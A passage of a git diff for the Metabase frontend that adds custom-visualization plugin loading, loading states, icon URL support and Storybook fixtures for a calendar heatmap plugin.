+ const { loading: customVizLoading } =
+ PLUGIN_CUSTOM_VIZ.useAutoLoadCustomVizPlugin(display);
+
+ const widgets = useMemo(
+ () =>
+ customVizLoading
+ ? []
+ : getSettingsWidgetsForSeries(
+ transformedSeries,
+ handleChangeSettings,
+ isDashboard,
+ extra,
+ ),
+ [
+ customVizLoading,
+ transformedSeries,
+ handleChangeSettings,
+ isDashboard,
+ extra,
+ ],
+ );
+
+ return widgets;
+}
diff --git a/frontend/src/metabase/visualizations/components/Visualization/Visualization.tsx b/frontend/src/metabase/visualizations/components/Visualization/Visualization.tsx
index 61f0eba6ae3..901582e79ee 100644
--- a/frontend/src/metabase/visualizations/components/Visualization/Visualization.tsx
+++ b/frontend/src/metabase/visualizations/components/Visualization/Visualization.tsx
@@ -18,11 +18,15 @@ import { SmallGenericError } from "metabase/common/components/ErrorPages";
import { ExplicitSize } from "metabase/common/components/ExplicitSize";
import CS from "metabase/css/core/index.css";
import DashboardS from "metabase/css/dashboard.module.css";
+import { DashCardLoadingView } from "metabase/dashboard/components/DashCard/DashCardLoadingView";
import { isEmbeddingSdk } from "metabase/embedding-sdk/config";
import type { ContentTranslationFunction } from "metabase/i18n/types";
+import { PLUGIN_CUSTOM_VIZ } from "metabase/plugins";
+import { VisualizationRunningState } from "metabase/querying/components/QueryVisualization";
import { connect } from "metabase/redux";
import { getIsDownloadingToImage } from "metabase/redux/downloads";
import type { Dispatch, State } from "metabase/redux/store";
+import { CardEmbedLoadingState } from "metabase/rich_text_editing/tiptap/extensions/CardEmbed/CardEmbedLoadingState";
import { getTokenFeature } from "metabase/setup/selectors";
import { getFont } from "metabase/styled-components/selectors";
import type { IconName, IconProps } from "metabase/ui";
@@ -1036,6 +1040,28 @@ export default _.compose(
)(
forwardRef<HTMLDivElement, VisualizationProps>(
function VisualizationForwardRef(props, ref) {
+ const display = props.rawSeries?.[0]?.card?.display;
+ const { loading: customVizLoading } =
+ PLUGIN_CUSTOM_VIZ.useAutoLoadCustomVizPlugin(display);
+
+ if (customVizLoading) {
+ if (props.isDocument) {
+ return <CardEmbedLoadingState />;
+ }
+
+ if (props.isDashboard) {
+ return (
+ <DashCardLoadingView
+ display="table"
+ expectedDuration={props.expectedDuration}
+ isSlow={props.isSlow}
+ />
+ );
+ }
+
+ return <VisualizationRunningState className={cx(CS.spread, CS.z2)} />;
+ }
+
return <VisualizationMemoized {...props} forwardedRef={ref} />;
},
),
diff --git a/frontend/src/metabase/visualizations/components/settings/ChartSettingColorPicker/ChartSettingColorPicker.tsx b/frontend/src/metabase/visualizations/components/settings/ChartSettingColorPicker/ChartSettingColorPicker.tsx
index 449536c8003..2cd51d42e3e 100644
--- a/frontend/src/metabase/visualizations/components/settings/ChartSettingColorPicker/ChartSettingColorPicker.tsx
+++ b/frontend/src/metabase/visualizations/components/settings/ChartSettingColorPicker/ChartSettingColorPicker.tsx
@@ -4,11 +4,11 @@ import type { PillSize } from "metabase/common/components/ColorPill";
import { ColorSelector } from "metabase/common/components/ColorSelector";
import CS from "metabase/css/core/index.css";
import { isEmbeddingSdk } from "metabase/embedding-sdk/config";
-import { Box, type BoxProps } from "metabase/ui";
+import { Box } from "metabase/ui";
import { getAccentColors } from "metabase/ui/colors/groups";
import type { AccentColorOptions } from "metabase/ui/colors/types";
-interface ChartSettingColorPickerProps extends BoxProps {
+interface ChartSettingColorPickerProps {
className?: string;
value: string;
title?: string;
@@ -30,14 +30,13 @@ export const ChartSettingColorPicker = ({
harmony: false,
gray: true,
},
- ...boxProps
}: ChartSettingColorPickerProps) => {
// For the SDK the ColorSelector is rendered inside a parent Mantine popover,
// so as a nested popover it should not be rendered within a portal
const withinPortal = !isEmbeddingSdk();
return (
- <Box className={cx(CS.flex, CS.alignCenter, className)} {...boxProps}>
+ <Box className={cx(CS.flex, CS.alignCenter, className)}>
<ColorSelector
value={value}
colors={getAccentColors(accentColorOptions)}
diff --git a/frontend/src/metabase/visualizations/components/skeletons/StaticSkeleton/StaticSkeleton.styled.tsx b/frontend/src/metabase/visualizations/components/skeletons/StaticSkeleton/StaticSkeleton.styled.tsx
index 563927f192d..29ff38fc7a4 100644
--- a/frontend/src/metabase/visualizations/components/skeletons/StaticSkeleton/StaticSkeleton.styled.tsx
+++ b/frontend/src/metabase/visualizations/components/skeletons/StaticSkeleton/StaticSkeleton.styled.tsx
@@ -20,13 +20,6 @@ export const SkeletonDescription = styled(MarkdownPreview)`
line-height: 1.5rem;
`;
-export const SkeletonIcon = styled(Icon)`
- display: block;
- color: var(--mb-color-text-secondary);
- width: 1.5rem;
- height: 1.5rem;
-`;
-
export const SkeletonTooltipIcon = styled(Icon)`
display: block;
color: var(--mb-color-text-tertiary);
diff --git a/frontend/src/metabase/visualizations/components/skeletons/StaticSkeleton/StaticSkeleton.tsx b/frontend/src/metabase/visualizations/components/skeletons/StaticSkeleton/StaticSkeleton.tsx
index 1ae466e8201..0fee5775b3e 100644
--- a/frontend/src/metabase/visualizations/components/skeletons/StaticSkeleton/StaticSkeleton.tsx
+++ b/frontend/src/metabase/visualizations/components/skeletons/StaticSkeleton/StaticSkeleton.tsx
@@ -1,11 +1,11 @@
import type { HTMLAttributes, ReactNode } from "react";
+import { EntityIcon } from "metabase/common/components/EntityIcon";
import type { IconName } from "metabase/ui";
import { Group, Tooltip } from "metabase/ui";
import {
SkeletonDescription,
- SkeletonIcon,
SkeletonIconContainer,
SkeletonRoot,
SkeletonTitle,
@@ -23,6 +23,7 @@ export interface StaticSkeletonProps extends HTMLAttributes<HTMLDivElement> {
export interface StaticSkeletonIconProps {
name: IconName;
+ iconUrl?: string;
}
const StaticSkeleton = ({
@@ -40,7 +41,15 @@ const StaticSkeleton = ({
{icon && (
<Tooltip label={tooltip} disabled={!tooltip}>
<SkeletonIconContainer>
- <SkeletonIcon {...icon} />
+ <EntityIcon
+ {...icon}
+ size="1.5rem"
+ // Use the raw CSS var rather than the `text-secondary` ColorName
+ // so Loki visual snapshots resolve it via stylesheets instead of
+ // inlining a theme value that differs between runs.
+ color="var(--mb-color-text-secondary)"
+ style={{ display: "block" }}
+ />
{tooltip && (
<SkeletonTooltipIconContainer>
<SkeletonTooltipIcon name="eye_crossed_out" />
diff --git a/frontend/src/metabase/visualizations/custom-visualizations/custom-viz-utils.ts b/frontend/src/metabase/visualizations/custom-visualizations/custom-viz-utils.ts
new file mode 100644
index 00000000000..49644f55c92
--- /dev/null
+++ b/frontend/src/metabase/visualizations/custom-visualizations/custom-viz-utils.ts
@@ -0,0 +1,44 @@
+import { getSubpathSafeUrl } from "metabase/urls";
+import type { OptionsType } from "metabase/utils/formatting/types";
+import { formatValue as internalFormatValue } from "metabase/visualizations/lib/formatting/value";
+import type {
+ CustomVizPluginId,
+ CustomVizPluginRuntime,
+ VisualizationDisplay,
+} from "metabase-types/api";
+
+export function formatValue(value: unknown, options?: OptionsType): string {
+ const result = internalFormatValue(value, {
+ ...options,
+ jsx: false,
+ });
+ return String(result ?? "");
+}
+
+/**
+ * Build a URL for a plugin's static asset.
+ */
+export function getPluginAssetUrl(
+ pluginId: CustomVizPluginId,
+ assetPath: string | null | undefined,
+): string | undefined {
+ if (!assetPath) {
+ return undefined;
+ }
+ return getSubpathSafeUrl(
+ `/api/ee/custom-viz-plugin/${pluginId}/asset?path=${encodeURIComponent(assetPath)}`,
+ );
+}
+
+export function getCustomPluginIdentifier(
+ pluginOrIdentifier: Pick<CustomVizPluginRuntime, "identifier"> | string,
+): VisualizationDisplay {
+ const identifier =
+ typeof pluginOrIdentifier === "string"
+ ? pluginOrIdentifier
+ : pluginOrIdentifier.identifier;
+
+ return `custom:${identifier}`;
+}
+
+export const defineSetting = <T>(definition: T) => definition;
diff --git a/frontend/src/metabase/visualizations/hooks/use-browser-rendering-context.ts b/frontend/src/metabase/visualizations/hooks/use-browser-rendering-context.ts
index bd653cc07a0..46de37b1fd0 100644
--- a/frontend/src/metabase/visualizations/hooks/use-browser-rendering-context.ts
+++ b/frontend/src/metabase/visualizations/hooks/use-browser-rendering-context.ts
@@ -36,6 +36,7 @@ export const useBrowserRenderingContext = (
measureText: measureTextWidth,
measureTextHeight,
fontFamily: getFontFamilyValue(fontFamily),
+ colorScheme: theme.other?.colorScheme ?? "light",
theme: style,
};
}, [fontFamily, palette, theme, isDashboard]);
diff --git a/frontend/src/metabase/visualizations/index.ts b/frontend/src/metabase/visualizations/index.ts
index 2a38f23e2ae..85e430c5838 100644
--- a/frontend/src/metabase/visualizations/index.ts
+++ b/frontend/src/metabase/visualizations/index.ts
@@ -2,6 +2,7 @@ import { t } from "ttag";
import _ from "underscore";
import { isStorybookActive } from "metabase/env";
+import type { IconName } from "metabase/ui";
import type {
DatasetData,
RawSeries,
@@ -116,9 +117,15 @@ export function getVisualizationTransformed(
return { series, visualization };
}
-export function getIconForVisualizationType(display: VisualizationDisplay) {
+export function getIconForVisualizationType(display: VisualizationDisplay): {
+ name: IconName;
+ iconUrl?: string;
+} {
const viz = visualizations.get(display);
- return viz?.iconName ?? "unknown";
+ return {
+ name: viz?.iconName ?? "unknown",
+ iconUrl: viz?.iconUrl,
+ };
}
export const extractRemappings = (series: Series) => {
diff --git a/frontend/src/metabase/visualizations/types/visualization.ts b/frontend/src/metabase/visualizations/types/visualization.ts
index 073abce6714..d88ec90a405 100644
--- a/frontend/src/metabase/visualizations/types/visualization.ts
+++ b/frontend/src/metabase/visualizations/types/visualization.ts
@@ -72,6 +72,8 @@ export interface RenderingContext {
measureText: TextWidthMeasurer;
measureTextHeight: TextHeightMeasurer;
fontFamily: string;
+ /** Defaults to "light" when not provided. */
+ colorScheme?: "light" | "dark";
theme: VisualizationTheme;
}
@@ -607,7 +609,9 @@ export type VisualizationDefinition = {
identifier: VisualizationDisplay;
aliases?: string[];
iconName: IconName;
+ iconUrl?: string;
hasEmptyState?: boolean;
+ isDev?: boolean; // is custom viz in dev mode
maxMetricsSupported?: number;
maxDimensionsSupported?: number;
diff --git a/frontend/src/metabase/visualizer/components/VisualizationPicker/VisualizationPicker.tsx b/frontend/src/metabase/visualizer/components/VisualizationPicker/VisualizationPicker.tsx
index 8ada41e1d60..77a03e955da 100644
--- a/frontend/src/metabase/visualizer/components/VisualizationPicker/VisualizationPicker.tsx
+++ b/frontend/src/metabase/visualizer/components/VisualizationPicker/VisualizationPicker.tsx
@@ -1,6 +1,7 @@
import { useMemo } from "react";
-import { Center, Icon, SegmentedControl } from "metabase/ui";
+import { EntityIcon } from "metabase/common/components/EntityIcon";
+import { Center, SegmentedControl } from "metabase/ui";
import visualizations from "metabase/visualizations";
import type { VisualizationDisplay } from "metabase-types/api";
@@ -24,6 +25,7 @@ export function VisualizationPicker({
label: viz.getUiName(),
value: vizType,
icon: viz.iconName,
+ iconUrl: viz.iconUrl,
};
});
}, []);
@@ -52,7 +54,11 @@ export function VisualizationPicker({
}}
p="sm"
>
- <Icon data-testid={o.value} name={o.icon} />
+ <EntityIcon
+ data-testid={o.value}
+ name={o.icon}
+ iconUrl={o.iconUrl}
+ />
</Center>
),
}))}
diff --git a/frontend/src/types/global.d.ts b/frontend/src/types/global.d.ts
index e23a9ebdb41..0808e987c98 100644
--- a/frontend/src/types/global.d.ts
+++ b/frontend/src/types/global.d.ts
@@ -1,3 +1,14 @@
+interface MetabaseLocalization {
+ headers: {
+ language: string;
+ "plural-forms"?: string;
+ };
+ translations: Record<
+ string,
+ Record<string, { msgid?: string; msgstr: string[] }>
+ >;
+}
+
interface Window {
MetabaseBootstrap: any;
MetabaseRoot?: string;
@@ -6,6 +17,8 @@ interface Window {
*/
MetabaseNonce?: string;
MetabaseUserColorScheme?: string;
+ MetabaseSiteLocalization?: MetabaseLocalization;
+ MetabaseUserLocalization?: MetabaseLocalization;
overrideIsWithinIframe?: boolean; // Mock that we're embedding, so we could test embed components
METABASE?: boolean; // Add a global so we can check if the parent iframe is Metabase
diff --git a/frontend/test/__support__/custom-viz-fixtures/CalendarHeatmap.dashboard.stories.tsx b/frontend/test/__support__/custom-viz-fixtures/CalendarHeatmap.dashboard.stories.tsx
new file mode 100644
index 00000000000..3aa328f864b
--- /dev/null
+++ b/frontend/test/__support__/custom-viz-fixtures/CalendarHeatmap.dashboard.stories.tsx
@@ -0,0 +1,165 @@
+// @ts-expect-error There is no type definition
+import createAsyncCallback from "@loki/create-async-callback";
+import type { StoryFn } from "@storybook/react";
+import { HttpResponse, http } from "msw";
+import { type ReactNode, useEffect, useMemo } from "react";
+import _ from "underscore";
+
+import { getStore } from "__support__/entities-store";
+import { getNextId } from "__support__/utils";
+import { AppColorSchemeProvider } from "metabase/AppColorSchemeProvider";
+import { Api } from "metabase/api";
+// Side-effect import: provides the `#popover-event-target { position: fixed }`
+// rule that ChartTooltip relies on to anchor near the hovered cell.
+import "metabase/common/components/Popover/Popover.module.css";
+import { MockDashboardContext } from "metabase/dashboard/context/mock-context";
+import { PublicOrEmbeddedDashboardView } from "metabase/public/containers/PublicOrEmbeddedDashboard/PublicOrEmbeddedDashboardView";
+import { publicReducers } from "metabase/reducers-public";
+import { MetabaseReduxProvider } from "metabase/redux";
+import {
+ createMockDashboardState,
+ createMockSettingsState,
+ createMockState,
+} from "metabase/redux/store/mocks";
+import type { Dashboard } from "metabase-types/api";
+import {
+ createMockCard,
+ createMockDashboard,
+ createMockDashboardCard,
+ createMockDatabase,
+ createMockDataset,
+ createMockDatasetData,
+} from "metabase-types/api/mocks";
+
+import {
+ HEATMAP_COLS,
+ HEATMAP_DISPLAY,
+ HEATMAP_ROWS,
+ HEATMAP_SNAPSHOT_DELAY_MS,
+ useHeatmapPlugin,
+} from "./calendar-heatmap-fixtures";
+
+const DASHBOARD_ID = getNextId();
+const DASHCARD_ID = getNextId();
+const CARD_ID = getNextId();
+
+const DATASET = createMockDataset({
+ data: createMockDatasetData({ cols: HEATMAP_COLS, rows: HEATMAP_ROWS }),
+});
+
+function createHeatmapDashboard(): Dashboard {
+ return createMockDashboard({
+ id: DASHBOARD_ID,
+ name: "Activity heatmap",
+ width: "full",
+ dashcards: [
+ createMockDashboardCard({
+ id: DASHCARD_ID,
+ card: createMockCard({
+ id: CARD_ID,
+ name: "Calendar heatmap",
+ display: HEATMAP_DISPLAY,
+ }),
+ size_x: 24,
+ size_y: 6,
+ row: 0,
+ }),
+ ],
+ });
+}
+
+function DashboardProviders({
+ theme,
+ children,
+}: {
+ theme: "light" | "dark";
+ children: ReactNode;
+}) {
+ const store = useMemo(() => {
+ const dashboard = createHeatmapDashboard();
+ const initialState = createMockState({
+ settings: createMockSettingsState({ "hide-embed-branding?": false }),
+ dashboard: createMockDashboardState({
+ dashboardId: dashboard.id,
+ dashboards: {
+ [dashboard.id]: {
+ ...dashboard,
+ dashcards: dashboard.dashcards.map((dc) => dc.id),
+ },
+ },
+ dashcards: _.indexBy(dashboard.dashcards, "id"),
+ dashcardData: {
+ [DASHCARD_ID]: { [CARD_ID]: DATASET },
+ },
+ }),
+ });
+ return getStore(publicReducers, initialState, [Api.middleware]);
+ }, []);
+
+ return (
+ <AppColorSchemeProvider forceColorScheme={theme}>
+ <MetabaseReduxProvider store={store}>{children}</MetabaseReduxProvider>
+ </AppColorSchemeProvider>
+ );
+}
+
+const Template: StoryFn<{ theme: "light" | "dark" }> = ({ theme }) => {
+ const asyncCallback = useMemo(() => createAsyncCallback(), []);
+ const ready = useHeatmapPlugin();
+
+ useEffect(() => {
+ if (!ready) {
+ return;
+ }
+ const id = setTimeout(asyncCallback, HEATMAP_SNAPSHOT_DELAY_MS);
+ return () => clearTimeout(id);
+ }, [ready, asyncCallback]);
+
+ const dashboardTheme = theme === "dark" ? "night" : "light";
+
+ return (
+ <DashboardProviders theme={theme}>
+ {ready ? (
+ <MockDashboardContext
+ dashboardId={DASHBOARD_ID}
+ navigateToNewCardFromDashboard={null}
+ titled
+ bordered
+ background
+ theme={dashboardTheme}
+ downloadsEnabled={{ pdf: false, results: false }}
+ >
+ <PublicOrEmbeddedDashboardView />
+ </MockDashboardContext>
+ ) : null}
+ </DashboardProviders>
+ );
+};
+
+export default {
+ title: "viz/CustomViz/CalendarHeatmap/Dashboard",
+ render: Template,
+ parameters: {
+ layout: "fullscreen",
+ msw: {
+ handlers: [
+ http.get("*/api/database", () =>
+ HttpResponse.json(createMockDatabase()),
+ ),
+ http.get("*/api/ee/custom-viz-plugin/list", () =>
+ HttpResponse.json([]),
+ ),
+ ],
+ },
+ },
+};
+
+export const Light = {
+ render: Template,
+ args: { theme: "light" as const },
+};
+
+export const Dark = {
+ render: Template,
+ args: { theme: "dark" as const },
+};
diff --git a/frontend/test/__support__/custom-viz-fixtures/CalendarHeatmap.document.stories.tsx b/frontend/test/__support__/custom-viz-fixtures/CalendarHeatmap.document.stories.tsx
new file mode 100644
index 00000000000..ffdd4f9f1cd
--- /dev/null
+++ b/frontend/test/__support__/custom-viz-fixtures/CalendarHeatmap.document.stories.tsx
@@ -0,0 +1,145 @@
+// @ts-expect-error There is no type definition
+import createAsyncCallback from "@loki/create-async-callback";
+import type { StoryFn } from "@storybook/react";
+import type { JSONContent } from "@tiptap/react";
+import { HttpResponse, http } from "msw";
+import { type ReactNode, useEffect, useMemo } from "react";
+import _ from "underscore";
+
+import { getStore } from "__support__/entities-store";
+import { mockSettings } from "__support__/settings";
+import { createMockEntitiesState } from "__support__/store";
+import { getNextId } from "__support__/utils";
+import { AppColorSchemeProvider } from "metabase/AppColorSchemeProvider";
+import { Api } from "metabase/api";
+// Side-effect import: provides the `#popover-event-target { position: fixed }`
+// rule that ChartTooltip relies on to anchor near the hovered cell.
+import "metabase/common/components/Popover/Popover.module.css";
+import { Editor } from "metabase/documents/components/Editor/Editor";
+import { commonReducers } from "metabase/reducers-common";
+import { MetabaseReduxProvider } from "metabase/redux";
+import type { State } from "metabase/redux/store";
+import { createMockState } from "metabase/redux/store/mocks";
+import {
+ createMockCard,
+ createMockCardQueryMetadata,
+ createMockDataset,
+ createMockDatasetData,
+} from "metabase-types/api/mocks";
+
+import {
+ HEATMAP_COLS,
+ HEATMAP_DISPLAY,
+ HEATMAP_ROWS,
+ HEATMAP_SNAPSHOT_DELAY_MS,
+ useHeatmapPlugin,
+} from "./calendar-heatmap-fixtures";
+
+const CARD_ID = getNextId();
+
+const HEATMAP_CARD = createMockCard({
+ id: CARD_ID,
+ name: "Calendar heatmap",
+ display: HEATMAP_DISPLAY,
+});
+
+const HEATMAP_RESULT = createMockDataset({
+ data: createMockDatasetData({ cols: HEATMAP_COLS, rows: HEATMAP_ROWS }),
+});
+
+const DOCUMENT_CONTENT: JSONContent = {
+ type: "doc",
+ content: [
+ {
+ type: "paragraph",
+ content: [{ type: "text", text: "Activity heatmap for 2024" }],
+ },
+ {
+ type: "resizeNode",
+ content: [
+ {
+ type: "cardEmbed",
+ attrs: { id: CARD_ID, name: null },
+ },
+ ],
+ },
+ { type: "paragraph" },
+ ],
+};
+
+function DocumentProviders({
+ theme,
+ children,
+}: {
+ theme: "light" | "dark";
+ children: ReactNode;
+}) {
+ const store = useMemo(() => {
+ const storeInitialState = createMockState({
+ settings: mockSettings(),
+ entities: createMockEntitiesState({}),
+ });
+ const commonReducerNames = Object.keys(commonReducers);
+ const initialState = _.pick(
+ storeInitialState,
+ ...commonReducerNames,
+ ) as State;
+ return getStore(commonReducers, initialState, [Api.middleware]);
+ }, []);
+
+ return (
+ <AppColorSchemeProvider forceColorScheme={theme}>
+ <MetabaseReduxProvider store={store}>{children}</MetabaseReduxProvider>
+ </AppColorSchemeProvider>
+ );
+}
+
+const Template: StoryFn<{ theme: "light" | "dark" }> = ({ theme }) => {
+ const asyncCallback = useMemo(() => createAsyncCallback(), []);
+ const ready = useHeatmapPlugin();
+
+ useEffect(() => {
+ if (!ready) {
+ return;
+ }
+ const id = setTimeout(asyncCallback, HEATMAP_SNAPSHOT_DELAY_MS);
+ return () => clearTimeout(id);
+ }, [ready, asyncCallback]);
+
+ return (
+ <DocumentProviders theme={theme}>
+ {ready ? (
+ <Editor initialContent={DOCUMENT_CONTENT} editable={false} />
+ ) : null}
+ </DocumentProviders>
+ );
+};
+
+export default {
+ title: "viz/CustomViz/CalendarHeatmap/Document",
+ render: Template,
+ parameters: {
+ layout: "fullscreen",
+ msw: {
+ handlers: [
+ http.get(`/api/card/${CARD_ID}`, () => HttpResponse.json(HEATMAP_CARD)),
+ http.get(`/api/card/${CARD_ID}/query_metadata`, () =>
+ HttpResponse.json(createMockCardQueryMetadata()),
+ ),
+ http.post(`/api/card/${CARD_ID}/query`, () =>
+ HttpResponse.json(HEATMAP_RESULT),
+ ),
+ ],
+ },
+ },
+};
+
+export const Light = {
+ render: Template,
+ args: { theme: "light" as const },
+};
+
+export const Dark = {
+ render: Template,
+ args: { theme: "dark" as const },
+};
diff --git a/frontend/test/__support__/custom-viz-fixtures/CalendarHeatmap.question.stories.tsx b/frontend/test/__support__/custom-viz-fixtures/CalendarHeatmap.question.stories.tsx
new file mode 100644
index 00000000000..d189cfd5f8b
--- /dev/null
+++ b/frontend/test/__support__/custom-viz-fixtures/CalendarHeatmap.question.stories.tsx
@@ -0,0 +1,125 @@
+// @ts-expect-error There is no type definition
+import createAsyncCallback from "@loki/create-async-callback";
+import type { StoryFn } from "@storybook/react";
+import { type ReactNode, useEffect, useMemo } from "react";
+
+import { getStore } from "__support__/entities-store";
+import { createMockMetadata } from "__support__/metadata";
+import { getNextId } from "__support__/utils";
+import { AppColorSchemeProvider } from "metabase/AppColorSchemeProvider";
+import { Api } from "metabase/api";
+// Side-effect import: provides the `#popover-event-target { position: fixed }`
+// rule that ChartTooltip relies on to anchor near the hovered cell.
+import "metabase/common/components/Popover/Popover.module.css";
+import {
+ PublicOrEmbeddedQuestionView,
+ type PublicOrEmbeddedQuestionViewProps,
+} from "metabase/public/containers/PublicOrEmbeddedQuestion/PublicOrEmbeddedQuestionView";
+import { publicReducers } from "metabase/reducers-public";
+import { MetabaseReduxProvider } from "metabase/redux";
+import {
+ createMockSettingsState,
+ createMockState,
+} from "metabase/redux/store/mocks";
+import {
+ createMockCard,
+ createMockDataset,
+ createMockDatasetData,
+} from "metabase-types/api/mocks";
+
+import {
+ HEATMAP_COLS,
+ HEATMAP_DISPLAY,
+ HEATMAP_ROWS,
+ HEATMAP_SNAPSHOT_DELAY_MS,
+ useHeatmapPlugin,
+} from "./calendar-heatmap-fixtures";
+
+const CARD_ID = getNextId();
+
+const HEATMAP_CARD = createMockCard({
+ id: CARD_ID,
+ name: "Calendar heatmap",
+ display: HEATMAP_DISPLAY,
+});
+
+const HEATMAP_RESULT = createMockDataset({
+ data: createMockDatasetData({ cols: HEATMAP_COLS, rows: HEATMAP_ROWS }),
+});
+
+function QuestionProviders({
+ theme,
+ children,
+}: {
+ theme: "light" | "dark";
+ children: ReactNode;
+}) {
+ const store = useMemo(() => {
+ const initialState = createMockState({
+ settings: createMockSettingsState({ "hide-embed-branding?": false }),
+ });
+ return getStore(publicReducers, initialState, [Api.middleware]);
+ }, []);
+
+ return (
+ <AppColorSchemeProvider forceColorScheme={theme}>
+ <MetabaseReduxProvider store={store}>{children}</MetabaseReduxProvider>
+ </AppColorSchemeProvider>
+ );
+}
+
+const Template: StoryFn<{ theme: "light" | "dark" }> = ({ theme }) => {
+ const asyncCallback = useMemo(() => createAsyncCallback(), []);
+ const ready = useHeatmapPlugin();
+
+ useEffect(() => {
+ if (!ready) {
+ return;
+ }
+ const id = setTimeout(asyncCallback, HEATMAP_SNAPSHOT_DELAY_MS);
+ return () => clearTimeout(id);
+ }, [ready, asyncCallback]);
+
+ const questionTheme = theme === "dark" ? "night" : "light";
+
+ const questionProps: PublicOrEmbeddedQuestionViewProps = {
+ initialized: true,
+ card: HEATMAP_CARD,
+ metadata: createMockMetadata({}),
+ titled: true,
+ bordered: true,
+ theme: questionTheme,
+ getParameters: () => [],
+ parameterValues: {},
+ setParameterValue: async () => undefined,
+ setParameterValueToDefault: () => {},
+ hide_parameters: null,
+ setCard: () => {},
+ downloadsEnabled: { pdf: false, results: false },
+ result: HEATMAP_RESULT,
+ };
+
+ return (
+ <QuestionProviders theme={theme}>
+ {ready ? <PublicOrEmbeddedQuestionView {...questionProps} /> : null}
+ </QuestionProviders>
+ );
+};
+
+export default {
+ title: "viz/CustomViz/CalendarHeatmap/Question",
+ render: Template,
+ parameters: {
+ layout: "fullscreen",
+ },
+};
+
+export const Light = {
+ render: Template,
+ args: { theme: "light" as const },
+};
+
+export const Dark = {
+ render: Template,
+ args: { theme: "dark" as const },
+};
diff --git a/frontend/test/__support__/custom-viz-fixtures/calendar-heatmap-fixtures.ts b/frontend/test/__support__/custom-viz-fixtures/calendar-heatmap-fixtures.ts
new file mode 100644
index 00000000000..7689b895c63
--- /dev/null
+++ b/frontend/test/__support__/custom-viz-fixtures/calendar-heatmap-fixtures.ts
@@ -0,0 +1,77 @@
+import { useEffect, useState } from "react";
+
+import { DateTimeColumn, NumberColumn } from "__support__/visualizations";
+import {
+ getCustomPluginIdentifier,
+ loadCustomVizPlugin,
+} from "metabase-enterprise/custom_viz/custom-viz-plugins";
+import type { RowValues, VisualizationDisplay } from "metabase-types/api";
+import { createMockColumn } from "metabase-types/api/mocks";
+
+export const PLUGIN_BASE_URL = "/custom-viz-fixtures/calendar-heatmap";
+export const PLUGIN_IDENTIFIER = "calendar-heatmap";
+export const HEATMAP_DISPLAY = getCustomPluginIdentifier(
+ PLUGIN_IDENTIFIER,
+) as VisualizationDisplay;
+
+export const HEATMAP_COLS = [
+ createMockColumn(DateTimeColumn({ name: "date", display_name: "Date" })),
+ createMockColumn(NumberColumn({ name: "value", display_name: "Value" })),
+];
+
+function isLeapYear(year: number) {
+ return (year % 4 === 0 && year % 100 !== 0) || year % 400 === 0;
+}
+
+function buildYearData(year: number): RowValues[] {
+ const rows: RowValues[] = [];
+ const start = new Date(Date.UTC(year, 0, 1));
+ const days = isLeapYear(year) ? 366 : 365;
+ for (let i = 0; i < days; i++) {
+ const d = new Date(start);
+ d.setUTCDate(start.getUTCDate() + i);
+ const iso = d.toISOString().slice(0, 10);
+ const value = Math.round(60 + 40 * Math.sin(i / 9) + 20 * Math.cos(i / 37));
+ rows.push([iso, value]);
+ }
+ return rows;
+}
+
+export const HEATMAP_ROWS = buildYearData(2026);
+
+/**
+ * Milliseconds to wait between `useHeatmapPlugin()` flipping ready and
+ * signalling Loki to snapshot. Covers ExplicitSize's re-render, the plugin's
+ * `echarts.init` + first `setOption`, and echarts' ~1000ms first-draw
+ * animation. Anything below ~1000ms risks catching a mid-animation frame;
+ * 1500ms is a safe upper bound that also absorbs the MSW card-query fetch
+ * the document story performs.
+ */
+export const HEATMAP_SNAPSHOT_DELAY_MS = 1500;
+
+/**
+ * Kicks off the async bundle fetch + register and flips `ready` to true when
+ * the plugin is available in the visualization registry.
+ */
+export function useHeatmapPlugin() {
+ const [ready, setReady] = useState(false);
+ useEffect(() => {
+ let cancelled = false;
+ loadCustomVizPlugin({
+ id: 1,
+ bundle_hash: "dev",
+ bundle_url: `${PLUGIN_BASE_URL}/index.js`,
+ display_name: "Calendar Heatmap",
+ identifier: PLUGIN_IDENTIFIER,
+ icon: `${PLUGIN_BASE_URL}/assets/calendar.svg`,
+ }).then(() => {
+ if (!cancelled) {
+ setReady(true);
+ }
+ });
+ return () => {
+ cancelled = true;
+ };
+ }, []);
+ return ready;
+}
diff --git a/frontend/test/__support__/custom-viz-fixtures/calendar-heatmap/assets/calendar.svg b/frontend/test/__support__/custom-viz-fixtures/calendar-heatmap/assets/calendar.svg
new file mode 100644
index 00000000000..e4650d6fc7b
--- /dev/null
+++ b/frontend/test/__support__/custom-viz-fixtures/calendar-heatmap/assets/calendar.svg
@@ -0,0 +1,4 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor" class="size-6">
+ <path stroke-linecap="round" stroke-linejoin="round" d="M6.75 3v2.25M17.25 3v2.25M3 18.75V7.5a2.25 2.25 0 0 1 2.25-2.25h13.5A2.25 2.25 0 0 1 21 7.5v11.25m-18 0A2.25 2.25 0 0 0 5.25 21h13.5A2.25 2.25 0 0 0 21 18.75m-18 0v-7.5A2.25 2.25 0 0 1 5.25 9h13.5A2.25 2.25 0 0 1 21 11.25v7.5m-9-6h.008v.008H12v-.008ZM12 15h.008v.008H12V15Zm0 2.25h.008v.008H12v-.008ZM9.75 15h.008v.008H9.75V15Zm0 2.25h.008v.008H9.75v-.008ZM7.5 15h.008v.008H7.5V15Zm0 2.25h.008v.008H7.5v-.008Zm6.75-4.5h.008v.008h-.008v-.008Zm0 2.25h.008v.008h-.008V15Zm0 2.25h.008v.008h-.008v-.008Zm2.25-4.5h.008v.008H16.5v-.008Zm0 2.25h.008v.008H16.5V15Z" />
+</svg>
diff --git a/frontend/test/__support__/custom-viz-fixtures/calendar-heatmap/index.js b/frontend/test/__support__/custom-viz-fixtures/calendar-heatmap/index.js
new file mode 100644
index 00000000000..8914990a12a
--- /dev/null
+++ b/frontend/test/__support__/custom-viz-fixtures/calendar-heatmap/index.js
@@ -0,0 +1,46 @@
